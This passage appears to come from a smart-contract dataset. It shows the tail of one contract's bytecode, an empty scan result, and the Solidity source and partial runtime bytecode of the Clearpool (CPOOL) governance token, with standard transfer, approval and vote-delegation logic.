ffffffffffffffffffffffffffffffff16313410151515610f8a57600080fd5b346004819055504260038190555060016000806101000a81548160ff02191690836002811115610fb657fe5b0217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101957600080fd5b6001600281111561102657fe5b6000809054906101000a900460ff16600281111561104057fe5b14151561104c57600080fd5b4260028190555060026000806101000a81548160ff0219169083600281111561107157fe5b0217905550600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc34600454019081150290604051600060405180830381858888f1935050505015156110dc57600080fd5b565b6110e6611d88565b6110ee611d9c565b6110f6611d9c565b6110fe611d88565b611106611d9c565b60008088955087945084518651016040518059106111215750595b9080825280601f01601f1916602001820160405250935083925060009150600090505b85518110156111f757858181518110151561115b57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000283838060010194508151811015156111ba57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050611144565b600090505b84518110156112af57848181518110151561121357fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561127257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506111fc565b82965050505050505092915050565b6112c6611d88565b6112ce611d88565b6112d6611d88565b6112de611d88565b6112e7856113e5565b92506112fd6112f58661173c565b60ff16611752565b915061131461130b86611772565b61ffff16611752565b90506113db816113cd6040805190810160405280600181526020017f20000000000000000000000000000000000000000000000000000000000000008152506113bf876113b16040805190810160405280600181526020017f20000000000000000000000000000000000000000000000000000000000000008152506113a38a8d6110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b6110de90919063ffffffff16565b9350505050919050565b6113ed611d88565b60006113f88361181d565b905060018160ff16141561143f576040805190810160405280600381526020017f4a616e000000000000000000000000000000000000000000000000000000000081525091505b60028160ff161415611484576040805190810160405280600381526020017f466562000000000000000000000000000000000000000000000000000000000081525091505b60038160ff1614156114c9576040805190810160405280600381526020017f4d6172000000000000000000000000000000000000000000000000000000000081525091505b60048160ff16141561150e576040805190810160405280600381526020017f417072000000000000000000000000000000000000000000000000000000000081525091505b60058160ff161415611553576040805190810160405280600381526020017f4d6179000000000000000000000000000000000000000000000000000000000081525091505b60068160ff161415611598576040805190810160405280600381526020017f4a756e000000000000000000000000000000000000000000000000000000000081525091505b60078160ff1614156115dd576040805190810160405280600381526020017f4a756c000000000000000000000000000000000000000000000000000000000081525091505b60088160ff161415611622576040805190810160405280600381526020017f417567000000000000000000000000000000000000000000000000000000000081525091505b60098160ff161415611667576040805190810160405280600481526020017f536570740000000000000000000000000000000000000000000000000000000081525091505b600a8160ff1614156116ac576040805190810160405280600381526020017f4f6374000000000000000000000000000000000000000000000000000000000081525091505b600b8160ff1614156116f1576040805190810160405280600381526020017f4e6f76000000000000000000000000000000000000000000000000000000000081525091505b600c8160ff161415611736576040805190810160405280600381526020017f446563000000000000000000000000000000000000000000000000000000000081525091505b50919050565b600061174782611833565b604001519050919050565b61175a611d88565b61176b6117668361196c565b611a15565b9050919050565b600080600080600092506301e133808581151561178b57fe5b046107b261ffff160191506117a56107b261ffff16611c02565b6117b28361ffff16611c02565b039050806301e285000283019250806107b2830361ffff16036301e1338002830192505b84831115611812576117ea60018303611c3b565b156117fd576301e2850083039250611807565b6301e13380830392505b6001820391506117d6565b819350505050919050565b600061182882611833565b602001519050919050565b61183b611db0565b6000806000806000935061184e86611772565b856000019061ffff16908161ffff16815250506118706107b261ffff16611c02565b611881866000015161ffff16611c02565b039250826301e285000284019350826107b286600001510361ffff16036301e133800284019350600191505b600c8260ff16111515611905576118c8828660000151611cbc565b60ff16620151800290508584820111156118f35781856020019060ff16908160ff1681525050611905565b808401935081806001019250506118ad565b600191505b61191c85602001518660000151611cbc565b60ff168260ff161115156119635785846201518001111561194e5781856040019060ff16908160ff1681525050611963565b6201518084019350818060010192505061190a565b50505050919050565b60008082141561199e577f30000000000000000000000000000000000000000000000000000000000000009050611a0d565b5b6000821115611a0c5761010081600190048115156119b957fe5b0460010290507f01000000000000000000000000000000000000000000000000000000000000006030600a848115156119ee57fe5b06010260010281179050600a82811515611a0457fe5b04915061199f565b5b809050919050565b611a1d611d88565b611a25611d9c565b6000806000611a32611d9c565b6020604051805910611a415750595b9080825280601f01601f1916602001820160405250945060009350600092505b6020831015611b1f578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141515611b1257818585815181101515611ad957fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b8280600101935050611a61565b83604051805910611b2d5750595b9080825280601f01601f19166020018201604052509050600092505b83831015611bf5578483815181101515611b5f57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028184815181101515611bb857fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050611b49565b8095505050505050919050565b600060018203915061019082811515611c1757fe5b04606483811515611c2457fe5b04600484811515611c3157fe5b0403019050919050565b60008060048361ffff16811515611c4e57fe5b0661ffff16141515611c635760009050611cb7565b600060648361ffff16811515611c7557fe5b0661ffff16141515611c8a5760019050611cb7565b60006101908361ffff16811515611c9d57fe5b0661ffff16141515611cb25760009050611cb7565b600190505b919050565b600060018360ff161480611cd3575060038360ff16145b80611ce1575060058360ff16145b80611cef575060078360ff16145b80611cfd575060088360ff16145b80611d0b5750600a8360ff16145b80611d195750600c8360ff16145b15611d2757601f9050611d82565b60048360ff161480611d3c575060068360ff16145b80611d4a575060098360ff16145b80611d585750600b8360ff16145b15611d6657601e9050611d82565b611d6f82611c3b565b15611d7d57601d9050611d82565b601c90505b92915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b606060405190810160405280600061ffff168152602001600060ff168152602001600060ff16815250905600a165627a7a723058205c4c4f7b78cdd1c0ae16dee9c30f15c440c47cb93abd79dc87d5cc0eb35756050029
|
{"success": true, "error": null, "results": {}}
| 4,222 |
0x66761Fa41377003622aEE3c7675Fc7b5c1C2FaC5
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract CPOOL {
/// @notice EIP-20 token name for this token
string public constant name = "Clearpool";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "CPOOL";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 1_000_000_000e18;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address multisig) {
balances[multisig] = uint96(totalSupply);
emit Transfer(address(0), multisig, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Cpool::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Cpool::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Cpool::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Cpool::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Cpool::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Cpool::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Cpool::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint96) {
require(blockNumber < block.number, "Cpool::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Cpool::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Cpool::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Cpool::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Cpool::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Cpool::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Cpool::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Cpool::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b91906125c3565b60405180910390f35b61015e600480360381019061015991906121a2565b61045c565b60405161016b91906124be565b60405180910390f35b61017c6105da565b60405161018991906126a5565b60405180910390f35b61019a6105ea565b6040516101a791906124d9565b60405180910390f35b6101ca60048036038101906101c5919061214f565b61060e565b6040516101d791906124be565b60405180910390f35b6101e8610880565b6040516101f59190612704565b60405180910390f35b610218600480360381019061021391906120e2565b610885565b60405161022591906124a3565b60405180910390f35b610248600480360381019061024391906120e2565b6108b8565b005b610264600480360381019061025f91906120e2565b6108c5565b60405161027191906126c0565b60405180910390f35b610294600480360381019061028f91906120e2565b6108e8565b6040516102a191906126a5565b60405180910390f35b6102c460048036038101906102bf91906121a2565b610957565b6040516102d1919061273a565b60405180910390f35b6102f460048036038101906102ef91906120e2565b610d92565b60405161030191906126a5565b60405180910390f35b610312610daa565b60405161031f91906125c3565b60405180910390f35b610342600480360381019061033d91906121a2565b610de3565b60405161034f91906124be565b60405180910390f35b610372600480360381019061036d91906120e2565b610e20565b60405161037f919061273a565b60405180910390f35b6103a2600480360381019061039d91906121e2565b610f17565b005b6103be60048036038101906103b9919061210f565b6111da565b6040516103cb91906126a5565b60405180910390f35b6103dc611286565b6040516103e991906124d9565b60405180910390f35b61040c6004803603810190610407919061226f565b6112aa565b60405161041a9291906126db565b60405180910390f35b6040518060400160405280600981526020017f436c656172706f6f6c000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83141561049b576bffffffffffffffffffffffff90506104c0565b6104bd83604051806060016040528060268152602001612d2360269139611303565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105c7919061271f565b60405180910390a3600191505092915050565b6b033b2e3c9fd0803ce800000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d085604051806060016040528060268152602001612d2360269139611303565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561072a57506bffffffffffffffffffffffff8016826bffffffffffffffffffffffff1614155b1561086757600061075483836040518060600160405280603e8152602001612dd6603e9139611361565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161085d919061271f565b60405180910390a3505b6108728787836113db565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108c233826117bc565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b600043821061099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290612605565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a08576000915050610d8c565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a579190612852565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b1c57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610ade9190612852565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8c565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b9d576000915050610d8c565b600080600183610bad9190612852565b90505b8163ffffffff168163ffffffff161115610d0e57600060028383610bd49190612852565b610bde9190612821565b82610be99190612852565b90506000600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610cdd57806020015195505050505050610d8c565b86816000015163ffffffff161015610cf757819350610d07565b600182610d049190612852565b92505b5050610bb0565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600581526020017f43504f4f4c00000000000000000000000000000000000000000000000000000081525081565b600080610e0883604051806060016040528060278152602001612d7e60279139611303565b9050610e153385836113db565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e8a576000610f0f565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610ed89190612852565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280600981526020017f436c656172706f6f6c000000000000000000000000000000000000000000000081525080519060200120610f7f61197c565b30604051602001610f939493929190612539565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610fe494939291906124f4565b6040516020818303038152906040528051906020012090506000828260405160200161101192919061246c565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161104e949392919061257e565b6020604051602081039080840390855afa158015611070573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e390612625565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061113c90612986565b919050558914611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612665565b60405180910390fd5b874211156111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb90612645565b60405180910390fd5b6111ce818b6117bc565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e91906125c3565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff16111582906113c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bc91906125c3565b60405180910390fd5b5082846113d29190612886565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144290612685565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b2906125e5565b60405180910390fd5b611535600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060378152602001612cec60379139611361565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061161c600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060318152602001612da560319139611989565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e6919061271f565b60405180910390a36117b7600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611a08565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611976828483611a08565b50505050565b6000804690508091505090565b600080838561199891906127df565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f391906125c3565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a5257506000816bffffffffffffffffffffffff16115b15611d1057600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bb3576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611af5576000611b7a565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611b439190612852565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ba18285604051806060016040528060298152602001612e1460299139611361565b9050611baf86848484611d15565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d0f576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c51576000611cd6565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611c9f9190612852565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611cfd8285604051806060016040528060288152602001612cc460289139611989565b9050611d0b85848484611d15565b5050505b5b505050565b6000611d3943604051806060016040528060358152602001612d4960359139612023565b905060008463ffffffff16118015611dd757508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611da19190612852565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e7b5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611e2b9190612852565b63ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611fcc565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550905050600184611f6e91906127a5565b600460008773fffffffffffff